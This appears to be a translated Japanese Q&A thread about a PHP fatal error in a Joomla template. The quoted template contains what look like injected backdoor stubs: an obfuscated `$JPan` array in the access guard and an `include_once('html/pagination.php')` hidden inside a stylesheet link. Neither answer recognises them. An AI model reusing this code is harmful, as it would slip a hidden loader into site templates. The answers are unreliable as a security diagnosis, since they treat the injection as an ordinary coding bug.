1

以下のコードを使用していますが、突然 Fatal error: Using $this when not in object context in /foldername/ index.php at line 3 のようなエラーがスローされ始めました。<Head>私のASのfile一部

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
4

2 に答える 2

0

$this静的メソッドでは使用できません。変数$thisは、メソッドが呼び出されたオブジェクトを受け取るため、クラスメソッドでのみ使用できます。

これが「オブジェクトコンテキストにない場合」の意味です。静的であるため、その静的メソッドに渡されるオブジェクトはありません。静的メソッドはクラスの一部であり、そのクラスを使用してインスタンス化されるオブジェクトの一部ではありません。

$thisクラスメソッド内でのみ使用することを目的としています。「テンプレート」が実際に定義されている場所を見つけてください。で置き換え$this->templateてみることができ$templateますが、どのように設定されているのかわかりません。

続きを読むリンク1リンク2リンク3リンク4

于 2012-11-07T12:12:40.197 に答える
0

トップコードを置き換えます

defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );

これで、それから私に知らせてください -

defined('_JEXEC') or die;
JHtml::_('behavior.framework', true);
//Second line is for Motools core

編集

欠落している場合は、この行も追加してください -

$app = JFactory::getApplication();
于 2012-11-07T12:18:26.677 に答える